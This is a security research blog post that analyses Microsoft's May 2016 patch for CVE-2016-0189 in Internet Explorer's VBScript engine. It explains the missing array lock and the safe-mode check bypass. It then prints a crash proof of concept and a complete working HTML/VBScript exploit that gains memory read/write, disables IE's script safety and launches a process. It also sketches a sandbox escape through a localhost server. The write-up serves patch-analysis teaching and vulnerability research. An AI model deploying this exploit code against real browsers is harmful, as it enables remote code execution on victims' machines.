Patch Analysis of CVE-2016-0189

Last month, Microsoft released the MS16-051 security bulletin for their monthly Patch Tuesday (May 2016) security updates. It addressed vulnerabilities that affected Internet Explorer, including the Scripting Engine Memory Corruption Vulnerability (CVE-2016-0189), which was used in targeted attacks in South Korea[1].

Today, we are going to analyze the patch, figure out what the vulnerability was, and finally construct a proof-of-concept exploit.

Patched vs Unpatched

We used BinDiff to diff the patched and unpatched versions of vbscript.dll . Only a few functions were changed in this patch, as we can see in the screenshot below.





The most suspicious change seems to be in AccessArray function. Let’s examine that function in IDA:

April vs. May





Notice the difference? The patch added the lock on the array before the code accesses it. Other than the code added to release the lock in error cases, no other modifications to this function were made.

Next thing to look at is security/safety policy related functions like IsUnsafeAllowed .

April vs. May





Again, it’s quite obvious what changed here. Before the patch, IsUnsafeAllowed calls a function that always returns zero without examining the policies, whereas the patched code now calls a function pointer that’s located at QueryProtectedPolicyPtr . The InitializeProtectedPolicy function initializes the function pointer using GetProcAddress .





Analysis

We have identified two vulnerabilities that were fixed with this patch. Let’s see if we can use them to craft an exploit.

Vulnerability #1 - Missing a SafeArray lock in AccessArray

Given the patch inserted code to lock the array, it means that the attacker could somehow modify the array in the middle of accessing it such that the assumptions about the array properties (such as cDims or cbElements ) mismatch.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 ... while ( 1 ) { curVar = VAR :: PvarCutAll ( curVar_ ); if ( VT_I2 == curVar -> vt ) { v14 = curVar -> iVal ; } else if ( VT_I4 == curVar -> vt ) { v14 = curVar -> lVal ; } else { v22 = 0 ; v18 = rtVariantChangeTypeEx ( curVar , & v22 , 0x400 , 2 , 3u , v20 , v21 ); if ( v18 < 0 ) return CScriptRuntime :: RecordHr ( a4 , v18 , v19 , v20 , v21 ); v14 = v23 ; } v15 = v14 - v25 -> lLbound ; // lLbound is always 0 if ( v15 < 0 || v15 >= v25 -> cElements ) return CScriptRuntime :: RecordHr ( a4 , 0x8002000B , v25 , v20 , v21 ); numDim = ( numDim - 1 ); idx = v15 + v11 ; if ( numDim <= 0 ) break ; ++ v25 ; v11 = v25 -> cElements * idx ; curVar_ = ( a4 + 16 ); a4 = ( a4 + 16 ); } * v24 = arr -> pvData + idx * arr -> cbElements ; // cbElements == 16 ...

In the main loop, the code starts from the right-most dimension of the array indices and computes the data pointer given the indices. Note that if the variant type for the index is either VT_I2 or VT_I4, the values are read in straight as a short and a long, respectively. However, for any other variant types, rtVariantChangeTypeEx is called to evaluate the index. When given a javascript object to this function, it retrieves the value by eventually calling valueOf of the target object. By providing an object that has a valueOf function of our choice, we can run arbitrary vbscript or javascript code inside of rtVariantChangeTypeEx .

1 2 3 4 5 6 7 // exploit & triggerBug are defined in vbscript var o ; o = { " valueOf " : function () { triggerBug (); return 1 ; }}; setTimeout ( function () { exploit ( o );}, 50 );

We can use this to resize the array we are currently indexing! For example, imagine we have a 2-D array with the following dimensions:

1 ReDim Preserve A ( 1 , 2000 )

Then, when we access the array like A(1, 2) , the idx in AccessArray function will be computed as 1 + (2 * (2 - 0)), which is 5. This gets multiplied by cbElements which is always sizeof(VARIANT) = 16 because arrays in vbscript hold variants: 80. Finally this is added to the data pointer (pvData) to return the data pointed by A(1, 2) .

Normally this isn’t an issue because the allocated buffer is about 16 * 2 * 2001 == 64032 bytes. However, this offset becomes out-of-bound if the buffer gets resized to a smaller one. In other words, we can access A(1, 2) when the array is defined as A(1, 1) .

By overlapping free’d memory after the array resize with our exploit string, we can craft vbscript strings and variants to achieve an out-of-bound read/write primitive. This allows us to get the address of an object, read memory at an address, and write memory at an address by repeatedly triggering the bug.

Vulnerability #2 - IsUnsafeAllowed bypass

Before the patch, IsUnsafeAllowed function would always return 1 because COleScript::OnEnterBreakPoint is a dummy function that always returns 0. With the patch, it is fixed to properly exeucte QueryProtectedPolicy if it is available on the system (only supported Windows 8.1 and above).

SafeMode bypass with vulnerability #1 & #2

Internet Explorer, by default, prevents running scripts that may be harmful to the system. It checks with InSafeMode function, where the safe mode flag is verified (default flag is 0xE) as well as the check for the unsafe extensions (such as “Shell.Application”) happens. Fortunately, we know that IsUnsafeAllowed will always return true and we can change the value of the flag by exploiting vulnerability #1.

However, this does not overcome the Protected Mode (sandbox) of the Internet Explorer. Look at Exploit section to see how to escape the sandbox and run code as Medium integrity.

Trigger PoC

The following example crashes Internet Explorer with an access violation due to accessing memory that is no longer valid. The size of the second dimension of the array is changed to a much smaller value in the middle of accessing the array.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <html> <meta http-equiv= "x-ua-compatible" content= "IE=10" > <body> <script type= "text/vbscript" > Dim aw Class ArrayWrapper Dim A () Private Sub Class_Initialize ReDim Preserve A ( 1 , 20000 ) End Sub Public Sub Resize () ReDim Preserve A ( 1 , 1 ) End Sub End Class Function crash ( arg1 ) Set aw = New ArrayWrapper MsgBox aw . A ( arg1 , 20000 ) End Function Function triggerBug aw . Resize () End Function </script> <script type= "text/javascript" > alert ( 1 ); var o = { " valueOf " : function () { triggerBug (); return 1 ; }}; setTimeout ( function () { crash ( o );}, 50 ); </script> </body> </html>





Exploit

Arbitrary read/write primitives are very powerful in exploitation. In order to make the exploit more readable, we made the operations into nice functions:

getAddr : Triggers the bug and “sprays” the object we want to get the address of, then searches in memory to find its address.

: Triggers the bug and “sprays” the object we want to get the address of, then searches in memory to find its address. leakMem : Triggers the bug and reads the memory content at a given address.

: Triggers the bug and reads the memory content at a given address. overwrite: Triggers the bug and overwrites memory at a given address with CSng(0) (single-precision 0) variant – suitable for our purpose to obtain “GodMode”[2] by changing the flag to 0x04 .

With these operations, we can do the following:

Create a (dummy) VBScriptClass instance. Get the address of the class instance. Leak CSession address from the class instance. Leak COleScript address from the CSession instance. Overwrite SafetyOption in COleScript

Here’s the final exploit to gain the “GodMode” in Internet Explorer 11 on Windows 10:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 <html> <head> <meta http-equiv= "x-ua-compatible" content= "IE=10" > </head> <body> <script type= "text/vbscript" > Dim aw Dim plunge ( 32 ) Dim y ( 32 ) prefix = " %u4141%u4141 " d = prefix & " %u0016%u4141%u4141%u4141%u4242%u4242 " b = String ( 64000 , " D " ) c = d & b x = UnEscape ( c ) Class ArrayWrapper Dim A () Private Sub Class_Initialize ' 2x2000 elements x 16 bytes / element = 64000 bytes ReDim Preserve A(1, 2000) End Sub Public Sub Resize() ReDim Preserve A(1, 1) End Sub End Class Class Dummy End Class Function getAddr (arg1, s) aw = Null Set aw = New ArrayWrapper For i = 0 To 32 Set plunge(i) = s Next Set aw.A(arg1, 2) = s Dim addr Dim i For i = 0 To 31 If Asc(Mid(y(i), 3, 1)) = VarType(s) Then addr = strToInt(Mid(y(i), 3 + 4, 2)) End If y(i) = Null Next If addr = Null Then document.location.href = document.location.href Return End If getAddr = addr End Function Function leakMem (arg1, addr) d = prefix & "%u0008%u4141%u4141%u4141" c = d & intToStr(addr) & b x = UnEscape(c) aw = Null Set aw = New ArrayWrapper Dim o o = aw.A(arg1, 2) leakMem = o End Function Sub overwrite (arg1, addr) d = prefix & "%u400C%u0000%u0000%u0000" c = d & intToStr(addr) & b x = UnEscape(c) aw = Null Set aw = New ArrayWrapper ' Single has vartype of 0x04 aw . A ( arg1 , 2 ) = CSng ( 0 ) End Sub Function exploit ( arg1 ) Dim addr Dim csession Dim olescript Dim mem ' Create a vbscript class instance Set dm = New Dummy ' Get address of the class instance addr = getAddr ( arg1 , dm ) ' Leak CSession address from class instance mem = leakMem(arg1, addr + 8) csession = strToInt(Mid(mem, 3, 2)) ' Leak COleScript address from CSession instance mem = leakMem ( arg1 , csession + 4 ) olescript = strToInt ( Mid ( mem , 1 , 2 )) ' Overwrite SafetyOption in COleScript (e.g. god mode) ' e . g . changes it to 0x04 which is not in 0x0B mask overwrite arg1 , olescript + & H174 ' Execute notepad.exe Set Object = CreateObject("Shell.Application") Object.ShellExecute "notepad" End Function Function triggerBug ' Resize array we are currently indexing aw . Resize () ' Overlap freed array area with our exploit string Dim i For i = 0 To 32 ' 24000 x2 + 6 = 48006 bytes y ( i ) = Mid ( x , 1 , 24000 ) Next End Function </script> <script type= "text/javascript" > function strToInt ( s ) { return s . charCodeAt ( 0 ) | ( s . charCodeAt ( 1 ) << 16 ); } function intToStr ( x ) { return String . fromCharCode ( x & 0xffff ) + String . fromCharCode ( x >> 16 ); } var o ; o = { " valueOf " : function () { triggerBug (); return 1 ; }}; setTimeout ( function () { exploit ( o );}, 50 ); </script> </body> </html>

Obligatory screenshot:

Are we all done now? Unfortunately, no.

Some of you may wonder why we don’t pop up a calc.exe like others. It isn’t because we wanted to be unique. The reason is that even with the SafeMode bypass, the Protected Mode (sandbox) filters what things are allowed to be executed (via WinExec or CreateProcess) from the Internet Explorer process.

Under HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy, there are bunch of registry keys with values that describe the elevation policy that the Protected Mode should follow for a specific broker. You can read more about Protected Mode and its policies here. Important bit here is that the list does not have any rule specified for calc.exe, which means that the default policy will be applied – prompt the user for permission before spawning a Medium integrity process.

Starting with Windows 8.1, the calculator app is Modern and runs under AppContainer, but we can still test this by trying to spawn wordpad.exe (which is not listed under the policy registry).

Only when the user clicks “Allow”, it spawns the Wordpad application under Medium integrity.

While the above proof-of-concept exploit proves that we can get unsafe vbscript code execution, just being able to run Medium integrity “notepad” isn’t all that useful.

So, is there a way to get arbitrary code execution on the system with Medium integrity?

A couple years ago, Zero Day Initiative reported this bug to Microsoft which did “not meet the bar for security servicing” according to the vendor. We can still use this trick to get arbitrary code execution as Medium integrity process from a Protected Mode process. The concept is well described in ZDI’s blog post, but the basic idea is to open up a local server from the Low integrity IE process that serves the second stage exploit. Due to Internet Explorer’s default behavior where the Intranet is trusted and localhost is part of the Intranet, it spawns Medium integrity process for the tab browsing localhost. Then, we can exploit the same vulnerability to get script/code execution but this time under Medium integrity.

ZDI-14-270 (from ZDI blog)





We used some parts from this PoC to demonstrate the sandbox escape.

You can find our final exploit code and files in our GitHub repo: https://github.com/theori-io/cve-2016-0189

We hope you enjoyed reading about constructing a “1-day” exploit from security patches. It is definitely a fun exercise to do, and sometimes gives you an insight about bugs & bug types that you haven’t looked at or considered.

We will talk about another IE bug that was patched last week next time. Stay tuned for a jscript bug and exploitation!

Thanks for reading :)